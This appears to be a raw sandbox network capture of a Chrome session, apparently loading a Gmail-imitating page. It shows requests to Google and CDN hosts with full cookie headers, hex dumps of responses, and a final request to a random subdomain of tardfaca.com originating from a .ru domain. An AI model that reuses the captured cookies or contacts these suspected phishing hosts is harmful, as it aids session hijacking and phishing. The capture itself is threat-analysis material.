Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:16 UTC	675	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuw Range: bytes=97556-97556 If-Range: "428183bfb7c31d8c3bcc985dac004681"
2024-12-16 17:46:17 UTC	702	IN	HTTP/1.1 206 Partial Content Date: Mon, 16 Dec 2024 17:46:17 GMT Content-Type: image/webp Content-Length: 1 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 6759 Content-Range: bytes 97556-97556/106290 Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f307df0dd9ade98-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:17 UTC	1	IN	Data Raw: 2a Data Ascii: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	49926	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:17 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:18 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:18 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:18 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:18 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	49927	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:18 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:18 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:18 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:18 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:18 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	49929	104.18.161.117	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:18 UTC	676	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuw Range: bytes=97556-106289 If-Range: "428183bfb7c31d8c3bcc985dac004681"
2024-12-16 17:46:18 UTC	706	IN	HTTP/1.1 206 Partial Content Date: Mon, 16 Dec 2024 17:46:18 GMT Content-Type: image/webp Content-Length: 8734 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 6760 Content-Range: bytes 97556-106289/106290 Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f307dfb4c2643fe-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:18 UTC	663	IN	Data Raw: 2a 63 9e 4d 4d 75 a9 22 e7 a8 5a 9a 56 ed 7c 56 3f fb 77 0d 9b 1e c8 7d 1e 25 a5 c9 f3 30 23 f4 6d a1 09 25 fc 6d e4 cb 5c ca 64 5c e8 09 0a 67 66 d7 11 ff f3 53 6e 8c 9d 8a e8 5b 94 00 09 c6 b6 97 45 00 05 f4 a1 b0 2d 42 ad 21 63 c0 5d 9c 67 59 8d d5 b4 a1 20 2c 32 85 64 8f 47 d2 c4 e5 6d a9 c4 32 e2 c7 f0 14 d3 f2 c0 68 ab c1 36 cc 1f a8 68 20 e9 25 73 8a dc ec 40 26 5e e9 ee 38 82 11 22 53 30 2a 3b c5 26 46 16 19 f6 59 ae e4 e6 99 f9 84 3e fc eb e9 3a e2 85 6f f4 28 56 96 2b d8 14 79 5a b5 10 78 f0 2f 3f cd 71 e8 fb e6 13 52 d2 a4 bb 3e 34 4c d1 15 1d 15 1b 0f bf ab a7 cd f3 59 49 2f 8d 03 fd 67 18 21 f0 36 fa c1 f2 d2 37 53 31 87 ed d8 9e f6 d7 04 cc f0 ff 45 94 66 5d ed 93 ba d3 47 91 1e 2f df 8a f1 41 a9 31 e5 61 86 af c9 93 ac 90 c5 e6 9b 09 0b 17 Data Ascii: cMMu"ZV\|V?w}%0#m%m\d\gfSn[E-B!c]gY ,2dGm2h6h %s@&^8"S0;&FY>:o(V+yZx/?qR>4LYI/g!67S1Ef]G/A1a
2024-12-16 17:46:18 UTC	1369	IN	Data Raw: e5 26 09 7b b2 c8 a0 04 a5 87 90 cd dd e1 9d bc ba b9 f6 ef 46 74 33 09 8e 81 6d 27 ba d2 d9 99 9c e0 16 cd 47 d4 28 5b 71 d4 d7 c6 3a 51 0f 1b 86 7b f8 b6 35 d5 0e 46 a8 4a a1 00 fe c2 d0 91 b0 78 29 41 19 12 ba 84 85 63 23 10 9f 42 e6 94 ed 3f 6b 3b e0 33 4d dc 81 c2 30 3d 62 db 93 ca 46 06 e3 f4 86 e1 73 27 71 81 fe 5f 76 71 87 a0 22 da fd e8 84 c0 01 17 58 dc 60 56 7c 36 12 ef 44 60 d1 37 b6 3c a2 95 2c f4 f6 16 eb 2a 75 22 52 49 07 dc 82 38 d3 10 15 97 18 e0 5a 6b 8b 24 11 12 b7 9b 78 1f f5 6e d8 09 aa 9b 1b 1a 26 1a 12 ad c9 41 52 b2 2b 3a b7 fa bf 23 73 aa e2 cf 11 44 91 b3 14 de c9 ad 85 71 12 71 3d 7c 0c 86 10 eb 16 41 06 ee 48 01 e0 76 8e de b5 e8 7b 92 21 05 72 18 39 e6 f2 22 11 76 96 ed 45 93 3c bf 7a b7 ce 8a 79 76 8c 8d 37 e1 9c 41 db bf af Data Ascii: &{Ft3m'G([q:Q{5FJx)Ac#B?k;3M0=bFs'q_vq"X`V\|6D`7<,*u"RI8Zk$xn&AR+:#sDqq=\|AHv{!r9"vE<zyv7A
2024-12-16 17:46:18 UTC	1369	IN	Data Raw: cb ba 64 f0 06 78 2e 2f a4 a6 c7 47 9d 84 d5 ae 7b 87 51 66 ff a2 b6 c7 fb 33 2c d8 d6 9f e1 e0 d7 31 02 2c 77 e8 90 93 5b 7f 01 ac f5 f6 e1 68 65 3a d2 dd 0a de 11 bd 5b 53 b1 e1 08 70 50 bd 43 51 4c fa 6c 94 b9 b8 20 a0 0b 62 86 1f 63 ed d5 91 f6 e9 08 e5 62 4e 42 09 83 22 40 00 c1 3d 6b 66 e6 b8 35 da d0 43 09 71 d2 c0 dc e9 93 06 bd 7e 0d a1 a5 fd 27 46 86 95 ea f6 a6 73 f7 af a0 aa ae 0e 9d 9f f2 ea 91 e0 5a df 76 c0 61 0a af 52 6f 95 fc f3 7f ec 78 f2 8e e8 ff 98 c9 fa f1 ab d6 1e e7 95 ea 66 9e 13 9f c0 03 dd 36 ad 7a a1 34 c0 72 77 91 41 8c 73 b4 9d ba 44 64 d0 7f df 63 9c 1b ee e5 23 10 e2 30 cb 2a a0 a6 18 8c 1f f5 3d dd 87 9a ef 61 59 4f 10 41 bc a2 4c 07 69 71 6b 5f fe 5e 35 f9 b5 fe 70 c6 7b b4 a9 4a 8e ec 50 b6 c7 57 bd 85 f8 81 60 2a 5e 91 Data Ascii: dx./G{Qf3,1,w[he:[SpPCQLl bcbNB"@=kf5Cq~'FsZvaRoxf6z4rwAsDdc#0=aYOALiqk_^5p{JPW`^
2024-12-16 17:46:18 UTC	1369	IN	Data Raw: a0 4a 89 40 cd 42 78 c1 4b 37 a2 ee 1a e1 8e 1a c3 f7 88 70 53 93 63 a7 69 85 70 1d e4 79 47 b2 f3 6a 28 86 a0 64 2b 9e 43 0c 6b 02 c6 a4 34 1e 24 02 64 95 ea 1e 71 73 4b 30 74 32 02 cd 96 e9 73 9a b3 a5 9b e0 9e 97 6e a4 1c 48 14 c4 6b e8 b3 5b cf 41 77 1f 5c 96 fb fa 9d ca 14 f6 d3 c8 fc a6 01 9c c5 d8 df 2e af 15 95 4a 45 07 62 15 0b 3e 7a e6 c0 82 fe ec 63 23 63 83 19 54 71 da 80 38 74 c7 25 25 25 d1 22 7b 7d 34 ea 97 93 46 ab 24 15 f1 23 5b 26 7b 95 7c f3 e8 a4 b9 4c 0c 2b e8 22 79 d5 df e0 23 9d af 47 5d ee bc b9 0f b0 c5 9f 86 71 7d 49 d0 44 8c 1f 12 3e 07 5c af e2 f4 36 64 84 c9 5c 7f 6a 51 65 0e b1 a2 b4 58 5e 21 a0 5f 83 0b 45 b2 15 96 cc 88 3a 82 26 84 9d 8e 5f 53 2b 4a 40 ce a9 3c da 6d 1e 1b cd b9 88 9b e0 b8 49 4f ff 29 d4 09 5f a5 0f fe 0a Data Ascii: J@BxK7pScipyGj(d+Ck4$dqsK0t2snHk[Aw\.JEb>zc#cTq8t%%%"{}4F$#[&{\|L+"y#G]q}ID>\6d\jQeX^!_E:&_S+J@<mIO)_
2024-12-16 17:46:18 UTC	1369	IN	Data Raw: ea 5c 01 37 81 54 5d a0 bf 6f f1 43 3d 00 b8 f1 4c 3a 86 1b f1 39 c2 65 0f 1f ff 90 b0 b4 e1 32 db 00 d3 ec c1 07 3b b5 ed 79 e5 ea d1 be de d6 2a e5 52 8c f0 d5 53 56 f5 3b 41 b9 70 8d 7d 47 29 c1 c5 42 4d f8 d7 16 13 5e fa 47 f2 6e 0d e3 7e 00 ac d0 ab 79 28 5c e6 e7 97 65 5f 62 3c aa b0 9a 65 06 27 e6 af d4 2c 6a 13 18 ab cd 91 ac db 79 25 40 0b 6b fd d0 aa 7d ab 74 b2 50 39 7a fd 24 97 b5 80 52 3a 65 06 46 b4 72 b6 d6 70 ef c7 60 83 fd a7 e4 54 c7 8e 70 90 7d a9 05 b0 56 5b c0 5f 17 a8 34 d9 61 fe 3b ab f2 cc be bc f3 32 47 8d 8b b7 6d 84 fe b0 4c 63 4d 37 65 57 90 cf 8f fb 2a fd 74 78 06 15 08 fd df 02 df f8 f1 e5 3d c2 97 81 87 a4 48 1a 56 e8 5b fc 7c e7 15 05 83 c1 cd 07 d8 16 43 ef 32 37 2a cf cb 25 e4 c6 61 6e a3 6d 6f f8 1f 5d e8 4f c7 bc 26 f7 Data Ascii: \7T]oC=L:9e2;yRSV;Ap}G)BM^Gn~y(\e_b<e',jy%@k}tP9z$R:eFrp`Tp}V[_4a;2GmLcM7eWtx=HV[\|C27*%anmo]O&
2024-12-16 17:46:18 UTC	1369	IN	Data Raw: 3d 81 30 8b 57 62 7f a1 f8 23 7f 42 d4 6d 22 c3 a9 9d 62 54 54 24 d7 14 e5 b5 5e e0 60 93 d0 0e 48 28 7c c2 a5 22 a9 1e 2c 40 52 33 2c df 4c cd 9c da 5e fd bf 8f 08 91 c0 8a 21 bc af 9e 6b 23 d4 c5 2d df 3a 89 7d d2 c4 1d d2 b0 3e 81 14 d8 e2 71 44 95 27 6c 79 1d e4 d1 c4 c6 62 7d d6 a8 23 00 85 c4 f6 f2 f2 39 8c b2 c6 d6 7c bb 00 e9 6d d2 84 5f 5a 2d b8 5b 7d a6 90 af 9a 84 36 72 a8 32 6f a8 f8 d0 8c 97 08 42 e0 01 2b 63 50 71 3e 6d 92 b7 29 9d db 0a ec 56 d7 e5 b8 89 29 1e 32 df 03 56 91 29 96 d5 bb 0b 7a 54 e1 88 35 23 62 7f 2e 94 d3 e4 46 eb fc f2 fa b1 20 94 36 99 d1 28 2e e9 40 6d c7 31 d7 25 07 3a 16 c1 6f 30 a0 35 a4 32 37 dc c8 04 92 d7 c7 c8 69 0e 07 70 3f c0 5c 6d d4 11 d1 ed 39 83 0c 65 a8 c1 a8 50 c7 ba 0c 9d 2b b8 87 b4 90 1a 70 02 ea ac 8c Data Ascii: =0Wb#Bm"bTT$^`H(\|",@R3,L^!k#-:}>qD'lyb}#9\|m_Z-[}6r2oB+cPq>m)V)2V)zT5#b.F 6(.@m1%:o0527ip?\m9eP+p
2024-12-16 17:46:18 UTC	1226	IN	Data Raw: 2b 59 62 5a e6 c1 b6 70 78 46 4f 5f 6b 75 3e b1 fc ec a5 3e c0 9a dc 1e 50 52 e2 4d f1 cc 7e 25 06 20 2a f1 b4 a1 b8 dc 87 33 9e 20 66 54 9b ad 19 20 09 b0 96 69 e3 e5 af cf 24 01 2f 31 0a 82 59 04 2c 25 cb 7e 5e 56 23 da bb 66 1c 24 15 37 3c 02 7e 04 c6 c5 a7 92 bd 75 f2 2d e4 12 cf 8d da 62 90 2a 67 18 e5 e9 b2 05 9c a4 cc 52 08 16 72 01 74 93 f3 69 40 69 c0 02 57 f9 db 55 98 dd d0 c9 42 b6 2a 18 04 2c db 91 92 75 ef 51 19 1d 5f e1 60 f4 4b 7c 1a ee 14 c5 44 6c bb 54 bb 89 d1 01 be 16 19 92 21 ae fd de 7f bb 23 de 47 dc c9 66 94 a7 2a c4 4a ad 04 6b be 8c 26 20 6f 0f 2e 14 da 25 2c 7c 21 6c a5 ba 9d ed 3b 1e bc 15 16 65 38 52 13 87 44 f1 1c ad 1e 00 9f eb da 80 ef d3 74 4c af 2f 5c d1 08 43 4f 18 97 80 0a 97 e8 18 cb e6 24 92 cf 76 5d 26 46 80 40 ca 8e Data Ascii: +YbZpxFO_ku>>PRM~% 3 fT i$/1Y,%~^V#f$7<~u-bgRrti@iWUB,uQ_`K\|DlT!#GfJk& o.%,\|!l;e8RDtL/\CO$v]&F@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.17	49930	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:20 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:21 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:20 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:21 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:21 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.17	49932	172.67.222.46	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:22 UTC	670	OUT	GET /14838110493951460639772zDuwQeQpDWANIGLPFGCHDRVKNQGYKXWUJMDPKOJKJUDETQNGDRBXOB HTTP/1.1 Host: i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://qb06.ffcwygff.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qb06.ffcwygff.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
